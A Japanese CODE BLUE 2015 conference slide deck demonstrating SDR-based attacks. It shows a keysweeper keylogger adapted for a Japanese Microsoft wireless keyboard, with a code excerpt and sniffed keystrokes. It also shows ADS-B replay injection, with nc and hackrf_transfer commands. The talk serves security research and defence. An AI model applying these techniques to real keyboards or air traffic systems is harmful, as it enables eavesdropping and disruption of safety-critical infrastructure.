Upload
code-blue
View
1.032
Download
1
Embed Size (px)
Citation preview
堀合 啓一
Fujitsu System Integration LABs.
CODE BLUE 2015
ワイヤレス技術をアタックで検証
アジェンダ
背景
IoT (Internet of Things)の時代
•ワイヤレス技術が鍵
•解析にはSDR(Software Defined Radio)の技術が有効
SDRツールGNU Radioの紹介
ワイヤレス通信の強力な実験用ツール
入手が容易で安価な周辺ハードウェアとともに動作
ワイヤレス通信をアタックで検証
Attack#1 ワイヤレス・キーボードのキーロガー
Attack#2 ADS-Bのリプレイ攻撃
1
ワイヤレス関係の最近の発表
ソフトウェアやファームウエアの悪用・改ざん
Drone attack by malware and network
• http://www.slideshare.net/codeblue_jp/cb14-dongcheol-hongja/
RF信号レベルの傍受・インジェクション
SPREAD SPECTRUM SATCOM HACKING: ATTACKING THE GLOBALSTAR SIMPLEX DATA SERVICE
• https://www.blackhat.com/docs/us-15/materials/us-15-Moore-Spread-Spectrum-Satcom-Hacking-Attacking-The-GlobalStar-Simplex-Data-Service.pdf
Low-cost GPS simulator – GPS spoofing by SDR
• Lin Huang, Qing Yang, DEFCON23
• https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/Lin%20Huang%20&%20Qing%20Yang/DEFCON-23-Lin-Huang-Qing-Yang-GPS-Spoofing.pdf
2
2001年、米国のEric Blossomが始めたオープンソースのソフト
ウェア無線機ツールキット
マルチプラットフォーム(Linux/FreeBSD/OSX/Windows)
ソフトウェア無線技術の多くが専用ハードウェア上のFPGAで動
作するのに対し、PC上で動作
GNURadio CompanionのGUI操作でフローグラフを作成
フローグラフ→XMLファイル→Python→C++
ライセンス GPL ver3
http://gnuradio.org/redmine/projects/gnuradio/wiki
GNURadioの概要
3
GNURadioの構成要素
フローグラフの要素
SOURCE BLOCK SINK
Software
or
Hardware
Software
Python
C++
Software
or
Hardware
入力 出力 処理
4
Sources
Software
波形発生(Sin, Cos, 三角、のこぎり,矩形)
各種雑音
ファイル
Hardware
PC Audio
その他の周辺ハードウェア
•RTL-SDR, HackRF, BladeRF, USRP
5
Blocks
演算子(論理、バイト、整数、実数、複素数…)
定数、変数(スライダー)、型変換
演算(和、差、積、除、Log, RMS, 積分…)
フィルター(LowPass, HighPass, BandPass,
Reject, FFT, Hilbert, IIR, Decimation…)
変調・復調(AM、FM、FSK、PSK、QAM、OFDM…)
レベル制御(AGC, Mute, Squelch, 移動平均…)
ネットワーク(TCP, UDP, Socket…)
その他 6
Sinks Software
Hardware
PC Audio
その他の周辺ハードウェア
• HackRF, BladeRF, USRP, その他
SCOPE FFT Water Fall
Histogram Constellation Plot
ファイル
その他
7
周辺ハードウェアの例
RTL-SDR HackRF BladeRF USRP
周波数帯[MHz] 24-1800 1-6000 300-3800 70-6000
A/D変換 bit数 8 8 12 12
帯域[MHz] 2.8 20 28 56
送受信機能 RX Tx | Rx Tx & Rx Tx & Rx
価格 $20 $300 $420 $675
8
FlowGraphの例
利用可能なツール
9
FM受信機
RTL-SDRとGNU RadioによるFM受信機の構成例
RTL-SDR
10
ISM 2.4GHz band
WiFi/Bluetooth frequency allocation
http://www.digikey.com/es/articles/techzone/2013/jun/shaping-the-wireless-future-with-low-energy-applications-and-systems
11
ISM 2.4GHz bandの観測例
HackRF
12
ワイヤレス・デバイスのアタック
アタック対象の調査
FCCのサイトでFCC IDサーチ
他の誰かが写真などを公開?
自分で分解調査
必要な情報
RFチップのデータシート
•周波数帯、変調方式、伝送速度、データ形式
信号の観測と解析
13
FCC ID Search
https://apps.fcc.gov/oetcf/eas/reports/ViewExhibitReport.cfm?mode=Exhibits&RequestTimeout=500&calledFromFrame=N&application_id=Al%2FFPgcInlgHLjNZvXbP
TQ%3D%3D&fcc_id=A6O60001058RX
14
信号の観測と解析の手順
電波の受信
信号の確認: GNU Radio, SDR#
受信信号をファイルへ記録: GNU Radio, rtl_sdr
解析
波形を詳細に観測:baudline
必要部分の切り出し(選択範囲をファイルへ出力) :baudline
Demodulation: GNU Radio | in-house scripts
Decode / Parse / Decrypt
• 0/1のビット列に変換。(16進dumpは適さない)
•ビットパターンの特徴に注目
15
信号の観測ツール
Baudline
信号を時間軸と周波数軸の両面から可視化と解析を支援するツール
利用環境
• Linux(x86_64,PowerPC)
• Mac OS X
• Solaris SPARC
目的の信号部分を選択し
ファイルへ出力
http://www.baudline.com/index.html 16
信号の観測例
17
アタック・デモ #1
Microsoft wireless keyboard 800のキーロガー
最初は、単に keysweeper(*1) の再現に挑戦
日本語仕様のMS Wireless Keyboard 800では動作を確認できなかった
原因の探求にGNU Radioを活用し、動作を確認するまでの過程を紹介
https://github.com/samyk/keysweeper 18
Wireless Keyboardのキーロガー
27MHz帯
セキュリティが考慮されていなかったため、簡単に傍受できた
2000年代に販売終了
2.4GHz帯
Bluetooth/WiFiと同じ周波数帯
Bluetooth仕様に準拠したものはガードが固い?
独自仕様のキーボードは?
19
関連プロジェクト
Travis Goodspeed, 2010
The GoodFET is an open-source JTAG adapter, loosely based
upon the TI MSP430 FET UIF and EZ430U boards
http://goodfet.sourceforge.net/
KeyKeriKiプロジェクト(CanSecWest 2010 )
Developed some device with ARM Cortex MPU and radio module
which can keyboard sniffing and remote command execution.
http://www.remote-exploit.org/articles/keykeriki_v2_0__8211_2_4ghz/index.html
Keysweeper(2015年1月)
処理の効率化とシステム化
• デバイスアドレスの一部が 0xCD固定に注目
• USB充電器の中に埋め込み、EEPROMへロギング
• キーワードを検知したら携帯モジュールでSMS送信
• キーストロークをリアルタイムで別デバイスへ転送など
https://github.com/samyk/keysweeper 20
ブレッドボード上で実験
Sniffer hardware
USB
制御PC
Microsoft Wireless
Keyboard 800 Arduino nano
•2403~2480MHzを1MHzステップでスキャン
•デバイスIDの中の1byte( = 0xCD )を探索
•続く2byteが(0x0A38 | 0x0A78)であれば、ス
キャンを停止して、ロギングを開始
約1500行のArduinoプログラム
nRF24L01
・2.4GHz ISM band
・GFSK modulation
・1Mbps or 2Mbps
21
Success?
Radio setup
End radio setup
scan
Tuning to 2480
Potential keyboard: AA AA 5A A9 CD 27 55 49
Tuning to 2403
Tuning to 2404
Potential keyboard: E4 AA AA A5 CD 55 A5 5A
Tuning to 2405
Tuning to 2406
Tuning to 2407
Tuning to 2408
…………………
No !!
22
Wireless keyboard wave form
23
Baudlineでデータを切り出す
24
Demodulation
-50
-40
-30
-20
-10
0
10
20
30
40
50
1 51 101 151 201 251 301
-50
-40
-30
-20
-10
0
10
20
30
40
50
1 51 101 151 201 251 301
I/Q
Vfm Vfm = ( I ( dQ/dt) - Q ( dI/dt)) / (I ^2 + Q^2)
プリアンブル bit = Vfm > 0 ? 0:1 bit
25
Get BIT sequence
bit = Vfm > 0 ? 0:1
1111111111110011000100000000001001101111101111111111111111111111111111111
11110010101010101010010011001111100101000101101100111001000000000001
01001111000000111010000000101001110000111011010011000110011101010011
110111000001000111001010011001110011100111001110001111011111010011100
011111111111110011001000000000000111111101111111111111110111111110111111
1111111111111111111111111001010101010101001001100111110010100010110110
01110010000000000010100111100000011101000000010100111000011101101001
100011001110101001111011100000100011100101001100111010100111001110011
10001111011111010011101011111111111001100000010001000100011111111111111
11111111111011111111111111111111101010101001011001111100101000101101100
11100100000000000101001111000000111010000000101001110000111011010011
0001100111010100111101110000010001110
……….
26
nRF24L01 Packet format
Preamble
0xAA | 0x55
Address
3-5 Byte
PCF
9 bit
Payload
0- 32Byte
CRC
1-2 byte
http://www.nordicsemi.com/eng/Products/2.4GHz-RF/nRF24L01
27
KeyKerikiプロジェクトの成果
・Microsoft Wireless Keyboard 800のデバイス・アドレスが 0xCDから開始する5バイトで構成
・キーストロークは、このデバイス・アドレス使った単純なXOR演算で暗号化
http://www.remote-exploit.org/content/keykeriki_v2_cansec_v1.1.pdf
28
Get BIT sequence
bit = Vfm > 0 ? 0:1
1111111111110011000100000000001001101111101111111111111111111111111111111
11110010101010101010010011001111100101000101101100111001000000000001
01001111000000111010000000101001110000111011010011000110011101010011
110111000001000111001010011001110011100111001110001111011111010011100
011111111111110011001000000000000111111101111111111111110111111110111111
1111111111111111111111111001010101010101001001100111110010100010110110
01110010000000000010100111100000011101000000010100111000011101101001
100011001110101001111011100000100011100101001100111010100111001110011
10001111011111010011101011111111111001100000010001000100011111111111111
11111111111011111111111111111111101010101001011001111100101000101101100
11100100000000000101001111000000111010000000101001110000111011010011
0001100111010100111101110000010001110
……….
0x0A78 (0000101001111000)を検索
Packet control field 9 bit
Devie ID
Preamble 8bit + address 5 byte + packet control 9bit + payload
29
Device ID detection
{ P.A. } { [p0] p[1] [p2] [p3] [p4]}
AA A9 33 E5 16 CE
10101010 10101001 00110011 11100101 00010110 11001110
{PktCTL Bit} 0A 78 1D 01
010000000 00001010 01111000 00011101 00000001
{ payload .......
0100111000011101101001100011001110101001111011100……
// From keysweeper_mcu_src https://github.com/samyk/keysweeper
if (radio.available())
{
radio.read(&p, PKT_SIZE);
if (p[4] == 0xCD) // 0xCD -> 0xCE for Japanese KBD
{
sp("Potential keyboard: ");
DEVICE ID
30
変更(0xCD→0xCE)後の動作
{………………}
Tuning to 2479
Tuning to 2480
Potential keyboard: A9 33 E5 16 CE 43 5 3C
KEYBOARD FOUND! Locking in on channel 80
2setupRadio
16: 0A 78 1D 01 56 03 43 00 00 1E 00 00 00 00 00 8F <- Key 1 Press
> 1
8: 0A 38 1D 01 56 03 00 84
16: 0A 78 1D 01 57 03 43 00 00 00 00 00 00 00 00 90 <- Key OFF
16: 0A 78 1D 01 58 03 43 00 00 1F 00 00 00 00 00 80 <- Key 2 Press
> 2
8: 0A 38 1D 01 58 03 00 8A
{………………}
(*1) USB HID usage table: http://www.freebsddiary.org/APC/usb_hid_usages.php
(*1)
31
Key Logger DEMO
32
まとめ #1
GNU Radioを活用し、日本語仕様のMicrosoft
Wireless Keyboard 800のデバイスアドレスのKEYを検出(0xCE)
デバイスアドレスのKEYを0xCEに変更することで、キーロガーの動作を確認できた。
機微な情報を扱う環境では、ワイヤレス・キーボードを使わない。特に、独自仕様のデバイスには要注意
注意
国内で実験する場合は、nRF24Lからの送信を無効化すべき
• boolean shoutKeystrokes = true; → false;
33
アタック・デモ #2
航空機搭載ADS-B(*1)のリプレイ・アタック
航空は重要インフラの一部
ADS-Bは次世代の航空管制システム
Blackhat2012, DEFCON20などでアタックのデモが行われている
SDRの技術を応用し、アタックの再現を試みた。
(*1)Automatic Dependent Surveillance–Broadcast 34
空の混雑状況
http://www.flightradar24.com/
35
ADS-Bの概要
従来のレーダでは、位置精度が1~2NMであるため、航空機運行の安全を
確保するには、運行間隔を広くする必要があった。
運行機数の増大に対応するため、新たなシステムが必要とされ、GPS利用
による精度の高い位置情報を提供するADS-Bが次世代の航空管制システ
ムとして1980-1990に開発された。
現在は、旅客機の約70%がADS-Bを装備
(出典 http://www.flightradar24.com/how-it-works)
欧州では2017年、米国では2020年までに、装備が義務付け
問題点
暗号化なし
認証なしでブロードキャスト
単純な符号化と変調方式
36
ADS-Bの仕組み
ADS-B
Automatic Dependent Surveillance–Broadcast
航空機はGPS等から得た自機位置情報、速度、高
度などの情報を放送型データリンクで送信
画像 http://www.enri.go.jp/news/osirase/pdf/e_navi10.pdf
37
ADS-Bに関する論文等
脆弱性などに関する発表
Donald L. McCallie, Major, USAF (2011年)
• http://apps.fcc.gov/ecfs/document/view.action?id=7021694523
Andrei Costin, Aurelien Francillon, BlackHat2012
• https://media.blackhat.com/bh-us-12/Briefings/Costin/BH_US_12_Costin_Ghosts_In_Air_Slides.pdf
Brad render, DEFCON20 (2012年)
• http://korben.info/wp-content/uploads/defcon/SpeakerPresentations/Renderman/DEFCON-20-RenderMan-Hackers-plus-Airplanes.pdf
Hugo Teso, CyCon2013 (2013年)
• https://ccdcoe.org/cycon-2013.html
対策などに関する発表
Martin Strohmeier, Ivan Martinovic、(2014年)
• Detecting False-Data Injection Attacks on Air Traffic Control Protocols
• http://www.cs.ox.ac.uk/files/6604/wisec2014-abstract.pdf
Kyle D. Wesson,Brian L. Evans,他 (2014年)
• Can Cryptography Secure Next Generation Air Traffic Surveillance?
• https://radionavlab.ae.utexas.edu/images/stories/files/papers/adsb_for_submission.pdf
Seoung-Hyeon Lee , Yong-Kyun Kim, Deok-Gyu Lee 他、(2014年)
• Protection Method for Data Communication between ADS-BSensor and Next-Generation Air Traffic Control Systems
• http://www.mdpi.com/2078-2489/5/4/622
38
想定される脅威
傍受(Eavesdropping)
ジャミング(Jamming)
偽航跡のインジェクション
(Fake track injection)
39
ADS-Bを受信するには?
電波の受信
海外向ディジタルTV受信用USBスティック
1000~2000円程度で購入可能
信号処理と表示
PC
•Windows, Mac, Linux
スマートフォン、タブレット
40
ADS-B受信用ソフトウェア デコーダ
ADSB# http://airspy.com/index.php/downloads/
RTL1090 http://rtl1090.web99.de/
Modesdeco2(表示機能あり)
• http://radarspotting.com/forum/index.php/topic,2978.msg13471.html
dump1090(表示機能あり)
• https://github.com/antirez/dump1090
表示
Virtual Radar Server http://www.virtualradarserver.co.uk/
adsbSCOPE
• http://www.sprut.de/electronic/pic/projekte/adsb/adsb_en.html#downloads
PlanePlotter http://www.coaa.co.uk/planeplotter.htm
41
受信覆域
Antenna
42
ADS-Bのデータフォーマット
データフォーマット
実際の受信I/Q信号
https://media.defcon.org/DEF%20CON%2020/DEF%20CON%2020%20slides/DEF%20CON%2020%20Hacking%20Conference%20Pr
esentation%20By%20RenderMan%20-%20Hacker%20and%20Airplanes%20No%20Good%20Can%20Come%20Of%20This%20-
%20Slides.m4v
43
GNU Radioによる波形観測
(I2 + Q2) I/Q
44
ADS-B受信例
*8d7583a5585b575a9ebc4bbb3f04;
CRC: 000000 (ok)
DF 17: ADS-B message.
Capability : 5 (Level 2+3+4 )
ICAO Address : 7583a5
Extended Squitter Type: 11
Extended Squitter Sub : 0
Extended Squitter Name: Airborne Position …….
F flag : odd
T flag : non-UTC
Altitude : 17125 feet
………….
16進表記のRawデータ
航空機の位置情報等
A/D変換後のI/Q信号
復調 / デコード
データの解釈
45
Attack Vector
IPネットワーク
ADS-B
受信局 ADS-B
受信局 ADS-B
受信局
ADS-B
Broadcast
GPS衛星
Actor V2
V3
画像 http://www.mlit.go.jp/koku/koku_fr14_000007.html
V1
46
受信信号のリプレイ攻撃(V1)
受信したrawデータ(ファイル名xxxx.raw)
rawデータをIPネットワーク経由でインジェクション
$cat xxxx.raw | nc target_IP target_PORT
※実際には、攻撃対象のサーバーへ接続するための認証などの仕組みの突破が必要
*8d869210581fe3bf4350dfd62439;
*5da40455385715;
*8d86dca29914ee0f20f410ef2595;
*8d780c3c581db79c18a4b0ffc872;
*8d867f609914b993e8700ba91251;
*02a1839b9e229d;
*……………
47 47
受信信号のリプレイ攻撃(V2)
rawデータからADS-Bパルス列信号のファイルを生成
$cat xxxx.raw | ./adsb-pulsegen test_file.bin
生成したファイルで変調したRF信号を発生
$hackrf_transfer –f 1090MHz –s 2MHz –t test_file.bin –x 0
*8d869210581fe3bf4350dfd62439;
*5da40455385715;
*8d86dca29914ee0f20f410ef2595;
*8d780c3c581db79c18a4b0ffc872;
*8d867f609914b993e8700ba91251;
*02a1839b9e229d;
*0261819c1d1e5a;
……………
48
DEMO
IPネットワークを介したインジェクション(V1)
実時間でADS-B信号を受信し、マップ上へ表示
過去に受信したRAWデータをインジェクション
RF信号を介したインジェクション(V2)
受信したRAWデータからI/Q信号ファイルを生成
I/Q信号で変調したRF信号をインジェクション
49
ADS-B network injection
http://www.flightradar24.com/
Network injection demo Screen shot
50
ADS-B RF injection RF injection demo screen shot
51
航空交通管制のセキュリティ?
更新されない理由.
脅威の認識
安全性、インターオペラ
ビリティの確保
国際的な議論に長期間
を要す
•議論の期間
•開発の期間
•半数搭載までの期間 画像 http://www.jatcaonline.com/SSR_system.JPG
https://upload.wikimedia.org/wikipedia/commons/f/fe/D-VOR_PEK.JPG
ASR/SSR
ILS ( glide slope / Localizer )
VOR/DME
52
まとめ #2
ADS-Bに対する攻撃は技術的には非常に容易
ADS-Bに限らず、電波に依存している航空管制システムは
ジャミング等に脆弱
可能性のある攻撃シナリオ
テロリストや国家レベルのアクターが、目的を達成する手段の一つと
して、偽航跡のインジェクションやジャミングなどで航空交通管制の
混乱を図る。
早期対策は困難か?(国際的な合意が必要)
受信の検知・追尾アルゴリズムによる緩和対策の検討が必要
環境を整備し疑似体験による訓練と非常時の運用手順の充実
53
おわりに
SDRの実験ツールGNU Radioや安価な周辺機器の出現で、RFレベルのアタックに必要な技術的敷居が低下している
航空交通管制システムなど、電波に依存する多くの既存システムは、WiFiやスマートフォンなどの民生技術の進歩に追従できていない
抜本的な対策には長期間を要す
運用でカバーするには、事態を想定した対処マニュアルの充実と訓練が必要
54
Thank you !
Questions ?
55
56 Copyright 2010 FUJITSU LIMITED